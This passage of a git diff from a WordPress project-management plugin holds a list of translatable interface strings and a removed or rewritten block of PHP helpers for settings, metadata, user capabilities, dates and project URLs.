'pm-pro' ), + __( 'Action', 'wedevs-project-manager' ), + __( 'No field found!', 'wedevs-project-manager' ), + __( 'Github', 'wedevs-project-manager' ), + __( 'Webhook URL', 'wedevs-project-manager' ), + __( 'to send our JSON payloads', 'wedevs-project-manager' ), + __( 'View documentation', 'wedevs-project-manager' ), + __( 'Save Form', 'wedevs-project-manager' ), + __( 'Save Changes', 'wedevs-project-manager' ), + __( 'Created', 'wedevs-project-manager' ), + __( 'due', 'wedevs-project-manager' ), + __( 'Discount', 'wedevs-project-manager' ), + __( 'Total', 'wedevs-project-manager' ), + __( 'Paid', 'wedevs-project-manager' ), + __( 'No invoice found!', 'wedevs-project-manager' ), + __( '+ Create label', 'wedevs-project-manager' ), + __( 'Are you sure!', 'wedevs-project-manager' ), + __( 'Options', 'pm-pro' ), + __( 'Add option', 'pm-pro' ), + __( 'Maximum character limit 40', 'pm-pro' ), + __( 'Option name required', 'pm-pro' ), + __( 'Invoice', 'pm-pro' ), + __( 'Settings', 'pm-pro' ), + __( 'Capabilities', 'pm-pro' ), + __( 'Integrations', 'pm-pro' ), + __( 'Label', 'pm-pro' ), + __( 'Slack webhook URL', 'wedevs-project-manager' ), + __( 'More option', 'wedevs-project-manager' ), + __( 'Incomplete', 'wedevs-project-manager' ), + __( 'New comment', 'wedevs-project-manager' ), + __( 'Update comment', 'wedevs-project-manager' ), + __( 'Add Task List', 'wedevs-project-manager' ), + __( 'This is a system default task list. Any task without an assigned tasklist will appear here.', 'wedevs-project-manager' ), + __( 'Task Title', 'wedevs-project-manager' ), + __( 'Make Visible', 'wedevs-project-manager' ), + __( 'characters remaining', 'wedevs-project-manager' ), + __( 'Add a new task', 'wedevs-project-manager' ), + __( 'Add extra details about this task (optional)', 'wedevs-project-manager' ), + __( 'Start Date', 'wedevs-project-manager' ), + __( 'Select User', 'wedevs-project-manager' ), + __( 'Update Task', 'wedevs-project-manager' ), + __( 'Estimated hour to complete the task', 'wedevs-project-manager' ), + __( 'Maxmim character limit 200', 'wedevs-project-manager' ), + __( 'Task title required!', 'wedevs-project-manager' ), + __( 'Task list details', 'wedevs-project-manager' ), + __( 'Update List', 'wedevs-project-manager' ), + __( 'Add List', 'wedevs-project-manager' ), + __( 'Incomplete Tasks', 'wedevs-project-manager' ), + __( 'No tasks found.', 'wedevs-project-manager' ), + __( 'Completed Tasks', 'wedevs-project-manager' ), + __( 'Back to Task Lists', 'wedevs-project-manager' ), + __( 'Delete List', 'wedevs-project-manager' ), + __( 'Mark as private', 'wedevs-project-manager' ), + __( 'Mark as public', 'wedevs-project-manager' ), + __( 'Update Description', 'wedevs-project-manager' ), + __( 'Copied!', 'wedevs-project-manager' ), + __( 'Invalid date range!', 'wedevs-project-manager' ), + __( 'Task marked as private', 'wedevs-project-manager' ), + __( 'Task visible for co-worker', 'wedevs-project-manager' ), + __( 'Pusher', 'pm-pro' ), + __( 'Pusher Settings', 'wedevs-project-manager' ), + __( 'App ID', 'wedevs-project-manager' ), + __( 'App Key', 'wedevs-project-manager' ), + __( 'Secret', 'wedevs-project-manager' ), + __( 'Cluster', 'wedevs-project-manager' ), + __( 'Overdue Tasks', 'wedevs-project-manager' ), + __( 'View Full Report', 'wedevs-project-manager' ), + __( 'User Activities', 'wedevs-project-manager' ), + __( 'Task by Milestone', 'wedevs-project-manager' ), + __( 'Unassigned Task', 'wedevs-project-manager' ), + __( 'Summary', 'wedevs-project-manager' ), + __( 'E-Mail Settings', 'wedevs-project-manager' ), + __( 'From Email', 'wedevs-project-manager' ), + __( 'Links in the Email', 'wedevs-project-manager' ), + __( 'Link to Backend', 'wedevs-project-manager' ), + __( 'Select where do you want to take the user. Notification emails contain links.', 'wedevs-project-manager' ), + __( 'E-Mail Type', 'wedevs-project-manager' ), + __( 'HTML Mail', 'wedevs-project-manager' ), + __( 'Plain Text', 'wedevs-project-manager' ), + __( 'Send email via Bcc', 'wedevs-project-manager' ), + __( 'Enable Bcc', 'wedevs-project-manager' ), + __( 'General Settings', 'wedevs-project-manager' ), + __( 'File Upload Limit', 'wedevs-project-manager' ), + __( 'File Size in Megabytes. e.g: 2', 'wedevs-project-manager' ), + __( 'Projects Per Page', 'wedevs-project-manager' ), + __( '-1 for unlimited', 'wedevs-project-manager' ), + __( 'Task Lists Per Page', 'wedevs-project-manager' ), + __( 'Incomplete Tasks Per Page', 'wedevs-project-manager' ), + __( 'Completed Tasks Per Page', 'wedevs-project-manager' ), + __( 'Project Managing Capability', 'wedevs-project-manager' ), + __( 'Select the user roles who can see and manage all projects.', 'wedevs-project-manager' ), + __( 'Project Creation Capability', 'wedevs-project-manager' ), + __( 'Select the user roles who can create projects.', 'wedevs-project-manager' ), + __( 'Pusher', 'wedevs-project-manager' ), + __( 'Type Name', 'wedevs-project-manager' ), + __( 'Type name required!', 'wedevs-project-manager' ), + __( 'secret', 'wedevs-project-manager' ), + __( 'Edit', 'pm-pro' ), + __( 'Delete', 'pm-pro' ), + __( '+ Create New Task Type', 'wedevs-project-manager' ), + __( 'Users Map to Github & Bitbucket', 'wedevs-project-manager' ), + __( 'Reports', 'wedevs-project-manager' ), + __( 'Date', 'wedevs-project-manager' ), + __( 'User Name', 'wedevs-project-manager' ), + __( 'Total Estimation Hours', 'wedevs-project-manager' ), + __( 'Completed Task Count', 'wedevs-project-manager' ), + __( 'Avg. Hour Per-task', 'wedevs-project-manager' ), + __( 'Avg. Work Hour Per-day', 'wedevs-project-manager' ), + __( 'Avg. Task Per-day', 'wedevs-project-manager' ), + __( 'All Projects', 'wedevs-project-manager' ), + __( 'Task Types', 'wedevs-project-manager' ), + __( 'Subtask Types', 'wedevs-project-manager' ), + __( 'Completed At', 'wedevs-project-manager' ), + __( 'Subtask Title', 'wedevs-project-manager' ), + __( 'Hour', 'wedevs-project-manager' ), + __( 'Task type', 'wedevs-project-manager' ), + __( 'Est. Hour', 'wedevs-project-manager' ), + __( 'Sub task type', 'wedevs-project-manager' ), + __( 'Sub task Type', 'wedevs-project-manager' ), + __( 'Subtask', 'wedevs-project-manager' ), + __( 'Upgrade to', 'wedevs-project-manager' ), + __( 'WP Project Manager', 'wedevs-project-manager' ), + __( 'unlock and take advantage of our premium features 🎉', 'wedevs-project-manager' ), + __( 'Give your team & projects additional pace with 10+ premium modules such as -', 'wedevs-project-manager' ), + __( 'Stripe Gateway, Time Tracker, Sub Task, Invoice, Kanban Board, Gantt Chart, WooCommerce Order, BuddyPress', 'wedevs-project-manager' ), + __( 'etc', 'wedevs-project-manager' ), + __( 'Experience the', 'wedevs-project-manager' ), + __( 'Advanced Files Manager', 'wedevs-project-manager' ), + __( 'that helps you to', 'wedevs-project-manager' ), + __( 'upload, store', 'wedevs-project-manager' ), + __( 'or', 'wedevs-project-manager' ), + __( 'create files, documents, custom fields,', 'wedevs-project-manager' ), + __( 'and', 'wedevs-project-manager' ), + __( 'images', 'wedevs-project-manager' ), + __( 'from one place and keeps you hassle-free', 'wedevs-project-manager' ), + __( 'Get more', 'wedevs-project-manager' ), + __( 'Advanced Reporting, Automatic', 'wedevs-project-manager' ), + __( 'Daily Digest Mail, and', 'wedevs-project-manager' ), + __( 'Real-Time Updates', 'wedevs-project-manager' ), + __( 'Collaborate', 'wedevs-project-manager' ), + __( 'with your team members privately with', 'wedevs-project-manager' ), + __( 'Built-in Private Messenger', 'wedevs-project-manager' ), + __( '10,000+ successful businesses', 'wedevs-project-manager' ), + __( '14 days no questions asked refund policy', 'wedevs-project-manager' ), + __( 'Industry leading 24x7 support', 'wedevs-project-manager' ), + __( 'Available in Pro. Unlock & enjoy:', 'wedevs-project-manager' ), + __( 'Features you can use...', 'wedevs-project-manager' ), + __( 'Welcome to', 'wedevs-project-manager' ), + __( 'The best project management tool for WordPress to get things done with your team.', 'wedevs-project-manager' ), + __( 'Filter, edit, update or take', 'wedevs-project-manager' ), + __( 'Create Your First Project', 'wedevs-project-manager' ), + __( 'Read Full Guide', 'wedevs-project-manager' ), + __( 'Import', 'wedevs-project-manager' ), + __( 'Effortlessly import projects and project tasks from', 'wedevs-project-manager' ), + __( 'other platforms to manage them at one place.', 'wedevs-project-manager' ), + __( 'Import Now', 'wedevs-project-manager' ), + __( 'Resources of Project Manager', 'wedevs-project-manager' ), + __( 'Get upgraded to Pro version to unlock endless opportunities of managing your project better.', 'wedevs-project-manager' ), + __( 'Upgrade to Pro', 'wedevs-project-manager' ), + __( 'Enhance your project management performance with extended features in the pro version.', 'wedevs-project-manager' ), + __( 'View Pro features', 'wedevs-project-manager' ), + __( 'Check out all the useful modules that would take your project management experience to a whole new level.', 'wedevs-project-manager' ), + __( 'Go to Modules', 'wedevs-project-manager' ), + __( 'After Product Order Placement', 'wedevs-project-manager' ), + __( 'Order Products', 'wedevs-project-manager' ), + __( 'Search Product', 'wedevs-project-manager' ), + __( 'Oops! No product found. Consider changing the search query.', 'wedevs-project-manager' ), + __( 'Assignees Users', 'wedevs-project-manager' ), + __( 'Save Change', 'wedevs-project-manager' ), + __( 'Are you sure to delete this project?', 'wedevs-project-manager' ), ]; \ No newline at end of file diff --git a/libs/configurations.php b/libs/configurations.php index 73edfcb0d..fc5de67a1 100644 --- a/libs/configurations.php +++ b/libs/configurations.php @@ -1,44 +1,44 @@ - -
-

{$php_version}. You need to upgrade your PHP version to 5.6 or later to run project manager.", "wedevs-project-manager" ) ); ?>

-
- +
+

{$php_version}. You need to upgrade your PHP version to 5.6 or later to run project manager.", "wedevs-project-manager" ) ); ?>

+
+ $tzstring ) { - if ( $tzstring == $tzstr ) { - return $tzcode; - } - } - - return $default; -} - -if ( ! function_exists( 'format_date' ) ) { - function format_date( $date ) { - - if ( $date && !is_object($date) ) { - $date = \Carbon\Carbon::parse($date); - } - $date_format = get_option( 'date_format' ); - $time_format = get_option( 'time_format' ); - $timezone = get_wp_timezone(); - - return [ - 'date' => $date ? $date->format( 'Y-m-d' ) : null, - 'time' => $date ? $date->format( 'H:i:s' ) : null, - 'datetime' => $date ? $date->format( 'Y-m-d H:i:s' ) : null, - 'timezone' => tzcode_to_tzstring( $timezone ), - 'timestamp' => $date ? $date->toATOMString() : null - ]; - } -} - - -function pm_date_format( $date ) { - - $date_format = get_option( 'date_format' ); - - return $date ? Date( $date_format, strtotime( $date ) ) : ''; -} - -function make_carbon_date( $date ) { - $timezone = get_wp_timezone(); - $timezone = tzcode_to_tzstring( $timezone ); - $time = $date ? strtotime( $date ) : null; - - if ( $time ) { - return new \Carbon\Carbon( $date, $timezone ); - } - - return null; -} - -function pm_get_wp_roles() { - global $wp_roles; - - if ( !$wp_roles ) { - $wp_roles = new WP_Roles(); - } - - return $wp_roles->get_names(); -} - -function pm_get_setting( $key = null, $project_id = false ) { - $settings = null; - $all_settings = null; - - if ( $key && $project_id ) { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) - ->where('project_id', $project_id) - ->first(); - } else if ($key) { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) - ->first(); - } else { - $hide = \WeDevs\PM\Settings\Models\Settings::$hideSettings; - $all_settings = \WeDevs\PM\Settings\Models\Settings::whereNotIn( 'key', $hide )->get(); - } - - if ( $settings ) { - return $settings->value; - } - - if ( $all_settings ) { - $settings = $all_settings->toArray(); - return wp_list_pluck( $settings, 'value', 'key' ); - } - - return null; -} - -function pm_get_settings( $key = null, $project_id = false ) { - $settings = null; - - if ( $key && $project_id ) { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) - ->where('project_id', $project_id) - ->get() - ->toArray(); - } else if ( $key ) { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) - ->get() - ->toArray(); - - } else if ( $project_id ) { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'project_id', $project_id ) - ->get() - ->toArray(); - } - - return $settings; -} - -function pm_delete_settings( $key, $project_id = false ) { - - if ( $project_id ) { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) - ->where('project_id', $project_id) - ->first(); - } else { - $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) - ->first(); - } - - if ( $settings ) { - $settings->delete(); - - wp_send_json_success(); - } - - wp_send_json_error(); -} - -function pm_set_settings( $key, $value, $project_id = false ){ - - if ( $project_id == false ){ - $settings = \WeDevs\PM\Settings\Models\Settings::updateOrCreate(['key' => $key], ['value' => $value ]); - }else { - $settings = \WeDevs\PM\Settings\Models\Settings::updateOrCreate(['key' => $key, 'project_id' => $project_id ], ['value' => $value ]); - } - - return $settings; -} - -function pm_add_meta( $id, $project_id, $type, $key, $value ) { - WeDevs\PM\Common\Models\Meta::create([ - 'entity_id' => $id, - 'entity_type' => $type, - 'meta_key' => $key, - 'meta_value' => $value, - 'project_id' => $project_id, - 'created_by' => get_current_user_id(), - 'created_by' => get_current_user_id() - ]); -} - - -function pm_update_meta( $id, $project_id, $type, $key, $value ) { - $meta = WeDevs\PM\Common\Models\Meta::where( 'entity_id', $id ) - ->where( 'project_id', $project_id ) - ->where( 'entity_type', $type ) - ->where( 'meta_key', $key ) - ->first(); - - if ( $meta ) { - $meta->update(['meta_value' => $value]); - } else { - pm_add_meta( $id, $project_id, $type, $key, $value ); - } -} - -function pm_get_meta( $entity_id, $project_id, $type, $key, $single = true ) { - $entity_id = pm_get_prepare_data( $entity_id ); - - $meta = WeDevs\PM\Common\Models\Meta::where( function($q) use($project_id) { - if ( !empty( $project_id ) ) { - $q->where( 'project_id', $project_id ); - } - } ) - ->whereIn( 'entity_id', $entity_id ) - ->where( 'entity_type', $type ) - ->where( 'meta_key', $key ); - - if ( $single ) { - $meta = $meta->first(); - } else { - $meta = $meta->get()->toArray(); - } - - return $meta; -} - -function pm_delete_meta( $id, $project_id, $type, $key = false ) { - $meta = WeDevs\PM\Common\Models\Meta::where( 'entity_id', $id ) - ->where( 'project_id', $project_id ) - ->where( 'entity_type', $type ); - - if ( $key ) { - $meta = $meta->where( 'meta_key', $key ); - $meta = $meta->first(); - } - - if ( $meta ) { - $meta->delete(); - } -} - -function pm_get_response( $resource, $extra = [] ) { - $manager = new \League\Fractal\Manager(); - $data_serialize = new \League\Fractal\Serializer\DataArraySerializer(); - $manager->setSerializer( $data_serialize ); - - if ( isset( $_GET['with'] ) ) { - $manager->parseIncludes( sanitize_text_field( wp_unslash( $_GET['with'] ) ) ); - } - - if ($resource) { - $response = $manager->createData( $resource )->toArray(); - - } else { - $response = []; - } - - return array_merge( $extra, $response ); -} - -function pmpr() { - $args = func_get_args(); - - foreach ( $args as $arg ) { - echo '
'; print_r( $arg ); '
'; - } -} - -function pm_pro_get_project_capabilities( $project_id ) { - $caps = WeDevs\PM\Settings\Models\Settings::where('key', 'capabilities') - ->where('project_id', $project_id) - ->first(); - - if ( ! $caps ) { - return [ - 'co_worker' => pm_default_co_caps(), - 'client' => pm_default_client_caps() - ]; - } - - $formatedCaps = []; - - foreach ( $caps->value as $key => $value ) { - $formatedCaps[$key] = array_map( function($val) { - return $val === 'true' ? true : false; - }, $value ); - } - - return $formatedCaps; -} - -function pm_is_user_in_project( $project_id, $user_id = false ) { - $user_id = $user_id ? $user_id : get_current_user_id(); - - $user_in_project = WeDevs\PM\User\Models\User_Role::where( 'project_id', $project_id ) - ->where( 'user_id', $user_id ) - ->first(); - - return $user_in_project ? true : false; -} - -function pm_is_user_in_task( $project_id, $user_id = false ) { - $user_id = $user_id ? $user_id : get_current_user_id(); - - $user_in_task = WeDevs\PM\Common\Models\Assignee::where( 'project_id', $project_id ) - ->where( 'assigned_to', $user_id ) - ->first(); - - return $user_in_task ? true : false; -} - -function pm_get_role( $project_id, $user_id = false ) { - $user_id = $user_id ? $user_id : get_current_user_id(); - - $role = WeDevs\PM\User\Models\User_Role::with('role') - ->where( 'project_id', $project_id ) - ->where( 'user_id', $user_id ) - ->first(); - - if ( $role ) { - return $role->role->slug; - } - - return false; -} - -function pm_get_role_caps( $project_id, $role ) { - $caps = pm_pro_get_project_capabilities( $project_id ); - - if ( !empty( $caps[$role] ) ) { - return $caps[$role]; - } - - return []; -} - -function pm_is_manager( $project_id, $user_id = false ) { - $user_id = $user_id ? $user_id : get_current_user_id(); - - $role = pm_get_role( $project_id, $user_id ); - - return $role == 'manager' ? true : false; -} - -/** - * Checking for PM_Admin capability - * @param boolean $user_id - * @return [type] - */ -function pm_has_admin_capability( $user_id = false ) { - - $user_id = $user_id ? intval( $user_id ) : get_current_user_id(); - - if ( user_can( $user_id, 'manage_options' ) ) { - return true; - } - - if ( user_can( $user_id, pm_admin_cap_slug() ) ) { - return true; - } - - return false; -} - -/** - * Checking for PM_Managre capability - * @param boolean $user_id - * @return [type] - */ -function pm_has_manage_capability( $user_id = false ) { - - $user_id = $user_id ? intval( $user_id ) : get_current_user_id(); - $user = get_user_by( 'id', $user_id ); - - if ( pm_has_admin_capability() ) { - return true; - } - - if ( user_can( $user_id, pm_manager_cap_slug() ) ) { - return true; - } - - return false; -} - -/** - * Permission checking for outside of projects - * @param boolean $cap - * @param boolean $user_id - * @return [type] - */ -function pm_user_can_access( $cap = false, $user_id = false ) { - $user_id = $user_id ? $user_id : get_current_user_id(); - $cap = empty( $cap ) ? pm_manager_cap_slug() : $cap; - - if ( pm_has_manage_capability() ) { - return true; - } - - if ( user_can( $user_id, $cap ) ) { - return true; - } - - return false; -} -/** - * Permission checking for inside a project - * @param [type] $cap - * @param [type] $project_id - * @param boolean $user_id - * @return [type] - */ -function pm_user_can( $cap, $project_id, $user_id = false ) { - $user_id = $user_id ? $user_id : get_current_user_id(); - - $cache_key = 'pm_user_can-' . md5( serialize( [ - 'cap' => $cap, - 'project_id' => $project_id, - 'user_id' => $user_id - ] ) ); - - $items = wp_cache_get( $cache_key, 'pm' ); - - if ( false === $items ) { - if ( pm_has_manage_capability( $user_id ) ) { - return true; - } - - if ( ! pm_is_user_in_project( $project_id, $user_id ) ) { - return false; - } - - if ( pm_is_manager( $project_id, $user_id ) ) { - return true; - } - - $role = pm_get_role( $project_id, $user_id ); - - if ( !$role ) { - return false; - } - - if ( $cap === 'view_project' ) { - return true; - } - - $role_caps = pm_get_role_caps( $project_id, $role ); - - if ( isset( $role_caps[$cap] ) ) { - return $role_caps[$cap]; - } - - wp_cache_set( $cache_key, $items, 'pm' ); - } - - return false; -} - -function pm_has_project_create_capability( $user_id = false ) { - return pm_user_can_access( pm_manager_cap_slug() ); -} - -function pm_has_project_managing_capability( $project_id, $user_id = false ) { - if ( pm_has_manage_capability( $user_id ) ) { - return true; - } - if ( pm_is_manager( $project_id, $user_id ) ) { - return true; - } - - return false; -} - -function pm_user_can_complete_task( $task, $user_id = false ) { - if(!$task) { - return false; - } - $user_id = $user_id ? $user_id: get_current_user_id(); - - if ( pm_has_manage_capability( $user_id ) ) { - return true; - } - - if ( pm_is_manager( $task->project_id, $user_id ) ) { - return true; - } - - if ( $task->created_by == $user_id ) { - return true; - } - - $assignees = $task->assignees->toArray(); //pluck( 'assigned_to' )->all(); - $assignees = wp_list_pluck( $assignees, 'assigned_to' ); - $in_array = in_array( $user_id, $assignees ); - - if ( !empty( $in_array ) ) { - return true; - } - - return false; -} - -/** - * What type of request is this? - * - * @param string $type admin, ajax, cron or frontend. - * @return bool - */ -function pm_is_request( $type ) { - switch ( $type ) { - case 'admin' : - return is_admin(); - case 'ajax' : - return defined( 'DOING_AJAX' ); - case 'cron' : - return defined( 'DOING_CRON' ); - case 'frontend' : - return ( ! is_admin() || defined( 'DOING_AJAX' ) ) && ! defined( 'DOING_CRON' ); - } -} - -/** - * The main logging function - * - * @since 0.1 - * @uses error_log - * @param string $type type of the error. e.g: debug, error, info - * @param string $msg - */ -function pm_log( $type = '', $msg = '' ) { - $ouput_path = config( 'frontend.patch' ); - - if ( WP_DEBUG == true ) { - $msg = sprintf( "[%s][%s] %s\n", date( 'd.m.Y h:i:s' ), $type, print_r($msg, true) ); - error_log( $msg, 3, $ouput_path . '/tmp/pm-debug.log' ); - } -} - -function pm_get_translations_for_plugin_domain( $domain, $language_dir = null ) { - - if ( $language_dir == null ) { - $language_dir = config('frontend.patch') . '/languages/'; - } - - $languages = get_available_languages( $language_dir ); - $get_site_lang = is_admin() ? get_user_locale() : get_locale(); - $mo_file_name = $domain .'-'. $get_site_lang; - $translations = []; - - if ( - in_array( $mo_file_name, $languages ) - && - file_exists( $language_dir . $mo_file_name . '.mo' ) - ) { - $mo = new MO(); - if ( $mo->import_from_file( $language_dir . $mo_file_name . '.mo' ) ) { - $translations = $mo->entries; - } - } - - return [ - 'header' => isset( $mo ) ? $mo->headers : '', - 'translations' => $translations - ]; -} - -/** - * Returns Jed-formatted localization data. - * - * @param string $domain Translation domain. - * - * @return array - */ -function pm_get_jed_locale_data( $domain, $language_dir = null ) { - $plugin_translations = pm_get_translations_for_plugin_domain( $domain, $language_dir ); - $translations = get_translations_for_domain( $domain ); - - $locale = array( - 'domain' => $domain, - 'locale_data' => array( - $domain => array( - '' => array( - 'domain' => $domain, - 'lang' => is_admin() ? get_user_locale() : get_locale(), - ), - ), - ), - ); - - if ( ! empty( $translations->headers['Plural-Forms'] ) ) { - $locale['locale_data'][ $domain ]['']['plural_forms'] = $translations->headers['Plural-Forms']; - } else if ( ! empty( $plugin_translations['header'] ) ) { - $locale['locale_data'][ $domain ]['']['plural_forms'] = $plugin_translations['header']['Plural-Forms']; - } - - $entries = array_merge( $plugin_translations['translations'], $translations->entries ); - - foreach ( $entries as $msgid => $entry ) { - $locale['locale_data'][ $domain ][ $msgid ] = $entry->translations; - } - return $locale; -} - -function pm_tb_prefix() { - global $wpdb; - - return $wpdb->prefix; -} - -/** - * Displays tasks, messages, milestones contents. Removed `the_content` filter - * and applied other filters due to conflicts created by other plugins. - * - * @param string $content - * @return string - */ -function pm_get_content( $content ) { - $content = apply_filters( 'pm_get_content', $content ); - - return $content; -} - -function pm_filter_content_url( $content ) { - $content = apply_filters( 'pm_get_content_url', $content ); - - return $content; -} - -function pm_get_user_url( $user_id, $is_admin ) { - $user_id = ! empty( $user_id ) ? $user_id : get_current_user_id(); - - $is_admin = $is_admin ? 'admin' : 'frontend'; - $pm_base = pm_get_project_page($is_admin); - $user_url = $pm_base . '#/my-tasks/' . $user_id; - - return $user_url; -} - -function pm_get_task_url( $project_id, $list_id, $task_id, $is_admin ) { - $is_admin = $is_admin ? 'admin' : 'frontend'; - $pm_base = pm_get_project_page($is_admin); - $task_url = $pm_base . '#/projects/' . $project_id . '/task-lists/' . $list_id . '/tasks/' . $task_id; - - return $task_url; -} - -function pm_get_discuss_url( $project_id, $discuss_id, $is_admin ) { - $is_admin = $is_admin ? 'admin' : 'frontend'; - $pm_base = pm_get_project_page( $is_admin ); - $task_url = $pm_base . '#/projects/' . $project_id . '/discussions/' . $discuss_id; - - return $task_url; -} - -function pm_get_task( $task_id ) { - $task = Task::with('task_lists') - ->where( 'id', $task_id ) - ->first(); - - if ( $task == NULL ) { - return pm_get_response( null, [ - 'message' => pm_get_text('success_messages.no_element') - ] ); - } - - $resource = new Item( $task, new Task_Transformer ); - - return pm_get_response( $resource ); -} - -function pm_get_file_download_url( $project_id, $user_id, $file_id ) { - return get_rest_url() . 'pm/v2/projects/' . $project_id . '/files/' . $file_id . '/users/' . $user_id . '/download'; -} - -function pm_get_list_url( $project_id, $list_id, $is_admin ) { - - $is_admin = $is_admin ? 'admin' : 'frontend'; - $pm_base = pm_get_project_page( $is_admin ); - $list_url = $pm_base . '#/projects/' . $project_id . '/task-lists/' . $list_id; - - return $list_url; -} - -function pm_get_front_end_project_page() { - $pages = get_option( 'pm_pages', [] ); - $project = empty( $pages['project'] ) ? '' : absint( $pages['project'] ); - - if ( $project ) { - return get_permalink( $project ); - } - - return ''; -} - -function pm_get_project_page( $type = false ) { - - if ( $type == 'admin' ) { - return admin_url( 'admin.php?page=pm_projects' ); - } - - if ( $type == 'frontend' ) { - return pm_get_front_end_project_page(); - } - - if ( pm_is_request( 'admin' ) ) { - return admin_url( 'admin.php?page=pm_projects' ); - } - - if ( pm_is_request( 'frontend' ) ) { - return pm_get_front_end_project_page(); - } -} - -function pm_total_projects() { - $project = Project::count(); - return $project; -} - -function pm_total_task() { - $task = Task::count(); - return $task; -} - -function pm_total_task_list() { - $task_list = Task_List::count(); - return $task_list; -} - -function pm_total_milestone() { - $milestone = Milestone::count(); - return $milestone; -} - -function pm_total_message() { - $message = Discussion_Board::count(); - return $message; -} -/** -* Get current IP -* -* @since 1.0.0 -* -* @return void -**/ -function pm_get_ip() { - $ipaddress = ''; - - if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) { - $ipaddress = wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ); //phpcs:ignore - } else if ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { - $ipaddress = wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ); //phpcs:ignore - } else if ( isset( $_SERVER['HTTP_X_FORWARDED'] ) ) { - $ipaddress = wp_unslash( $_SERVER['HTTP_X_FORWARDED'] ); //phpcs:ignore - } else if ( isset( $_SERVER['HTTP_FORWARDED_FOR'] ) ) { - $ipaddress = wp_unslash( $_SERVER['HTTP_FORWARDED_FOR'] ); //phpcs:ignore - } else if ( isset( $_SERVER['HTTP_FORWARDED'] ) ) { - $ipaddress = wp_unslash( $_SERVER['HTTP_FORWARDED'] ); //phpcs:ignore - } else if ( isset( $_SERVER['REMOTE_ADDR'] ) ) { - $ipaddress = wp_unslash( $_SERVER['REMOTE_ADDR'] ); //phpcs:ignore - } else { - $ipaddress = 'UNKNOWN'; - } - - return $ipaddress; -} - -function pm_get_capabilities() { - - return [ - 'Message Create', - 'Message Private', - 'Task List Create', - 'Task List Private', - 'Milestone Create', - 'Milestone Private', - 'Task Create', - 'Task Private', - 'File Create', - 'File Private', - ]; -} - -function pm_get_capabilities_relation( $role ) { - - $caps = [ - 'create_message' => 1, - 'view_private_message' => 2, - 'create_list' => 3, - 'view_private_list' => 4, - 'create_milestone' => 5, - 'view_private_milestone' => 6, - 'create_task' => 7, - 'view_private_task' => 8, - 'create_file' => 9, - 'view_private_file' => 10 - ]; - - return $caps[$role]; -} - -function pm_default_cap( $cap_id = false ) { - $pm_caps = [ - '1' => 'create_message', - '2' => 'view_private_message', - '3' => 'create_list', - '4' => 'view_private_list', - '5' => 'create_milestone', - '6' => 'view_private_milestone', - '7' => 'create_task', - '8' => 'view_private_task', - '9' => 'create_file', - '10' => 'view_private_file' - ]; - - if ( $cap_id ) { - return $pm_caps[$cap_id]; - } - - return $pm_caps; -} - -function pm_default_manager_caps() { - return [ - 'create_message' => true, - 'view_private_message' => true, - 'create_list' => true, - 'view_private_list' => true, - 'create_task' => true, - 'view_private_task' => true, - 'create_milestone' => true, - 'view_private_milestone' => true, - 'create_file' => true, - 'view_private_file' => true - ]; -} - -function pm_default_co_caps() { - return [ - 'create_message' => true, - 'view_private_message' => true, - 'create_list' => true, - 'view_private_list' => true, - 'create_task' => true, - 'view_private_task' => true, - 'create_milestone' => true, - 'view_private_milestone' => true, - 'create_file' => true, - 'view_private_file' => true - ]; -} - -function pm_default_client_caps() { - return [ - 'create_message' => true, - 'view_private_message' => false, - 'create_list' => true, - 'view_private_list' => false, - 'create_task' => true, - 'view_private_task' => false, - 'create_milestone' => true, - 'view_private_milestone' => false, - 'create_file' => true, - 'view_private_file' => false - ]; -} - -function pm_get_prepare_format( $ids, $is_string = false ) { - - - $ids = pm_get_prepare_data( $ids ); - - // how many entries will we select? - $how_many = count( $ids ); - - // prepare the right amount of placeholders - // if you're looing for strings, use '%s' instead - if( $is_string ) { - $placeholders = array_fill( 0, $how_many, '%s' ); - } else { - $placeholders = array_fill( 0, $how_many, '%d' ); - } - - // glue together all the placeholders... - // $format = '%d, %d, %d, %d, %d, [...]' - $format = implode( ', ', $placeholders ); - - return $format; -} - -function pm_get_prepare_data( $args, $delimiter = ',' ) { - - $new = []; - - if ( is_array( $args ) ) { - foreach ( $args as $date_key => $value ) { - if ( empty( $value ) ) { - continue; - } - - $new[trim($date_key)] = trim( $value ); - } - } - - if ( ! is_array( $args ) ) { - $args = explode( $delimiter, $args ); - - foreach ( $args as $date_key => $value ) { - if ( empty( $value ) ) { - continue; - } - - $new[trim($date_key)] = trim( $value ); - } - } - - return $new; -} - -/** - * Clean variables using pm_clean. Arrays are cleaned recursively. - * Non-scalar values are ignored. - * - * @param string|array $var Data to sanitize. - * @return string|array - */ -function pm_clean( $var ) { - if ( is_array( $var ) ) { - return array_map( 'pm_clean', $var ); - } else { - return is_scalar( $var ) ? sanitize_text_field( wp_unslash( $var ) ) : $var; - } -} - -/** - * Get Dashboard slug - * - * @since 1.0.0 - * @return string - */ -function pm_frontend_slug() { - $slug = get_option( 'pm_frontend_slug' ); - if ( ! $slug ) { - $slug = 'pm'; - } - - return apply_filters( 'pm_frontend_slug', sanitize_title( $slug ) ); -} - -/** - * Get dashboard url - * - * @return string - */ -function pm_frontend_url() { - $site_url = get_site_url(); - $dashboard_slug = ltrim( get_pm_frontend_slug(), '/' ); - - return trailingslashit( $site_url ) . $dashboard_slug; -} - -/** - * Get dashboard title - * - * @return string - */ -function pm_dashboard_title() { - $dashboard_title = get_option( 'pm_frontend_dashboard_title' ); - - if ( ! $dashboard_title ) { - $dashboard_title = __( 'Project Manager', 'wedevs-project-manager' ); - } - - return apply_filters( 'pm_dashboard_title', $dashboard_title ); -} - -/** - * Get frontend query var - * - * @return string - */ -function pm_register_query_var() { - return apply_filters( 'pm_frontend_query_var', 'pm_dashboard' ); -} - -/** - * Get HTML wrap - * - * @return string - */ -function pm_root_element() { - $id = pm_root_element_id(); - return apply_filters( 'pm_root_element', '
